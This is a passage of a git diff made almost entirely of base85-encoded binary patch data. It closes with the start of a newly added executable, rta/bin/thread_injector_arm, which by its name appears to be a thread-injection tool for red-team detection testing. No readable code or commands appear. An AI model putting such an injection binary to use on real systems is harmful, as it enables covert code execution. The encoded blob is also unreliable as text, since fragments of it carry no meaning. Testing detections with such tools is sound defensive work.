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 `aCimD>T5vmrZZ8{4{@a$4 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 literal 0 HcmV?d00001 diff --git a/rta/bin/thread_injector_arm b/rta/bin/thread_injector_arm new file mode 100755 index 0000000000000000000000000000000000000000..8b805ce37fa81114f90b2117697fd067b1f196b8 GIT binary patch literal 50704 zcmeI3Yiv}<6~||HZ7|^A4Y*)Jz!#_!UV#P(0SaV+pg>Xq!q5;3o-Di9c*{PVz1KVw zbtTslfxIly#!?HhlQh`0M5H9`lC-snr6^4m5mPk@N!7ZDs7|CP{?e37)ZK6hz6lyB*X;B8i*|f`)$Gt_Egm{`g{I;hgrk(3R&Uuf)NHK}44o5>UWjQWD9LJ4n)+VTQP8>L9a(H| z=0l(Dqja^eTq_W%+!zBX4YO{Ck(+YIi!QU{J>z&NJwINN6AuinCS}Mllact&oIZ5F zeNMbr9B4|ki= ztJbfpv`-`8Tmtk~bM*?R5>>VzBIV9R-Z5M=UM+mB7O>Ylniz&bmYJFxT36N!eaclA zbgKpIF261{BV{;f25p8uoJ~ibO^BshWU=Z=&T)Iomm;=AawN&`a6Z_Mn4LYJzET|roIIwqiyx7 zzpZZyam!UKYK;a_?B~`Q$+^+Uj=AA|(J*w?CPGvl#_3t-{vN#ZC#MgMHx}0~K0Xg~ 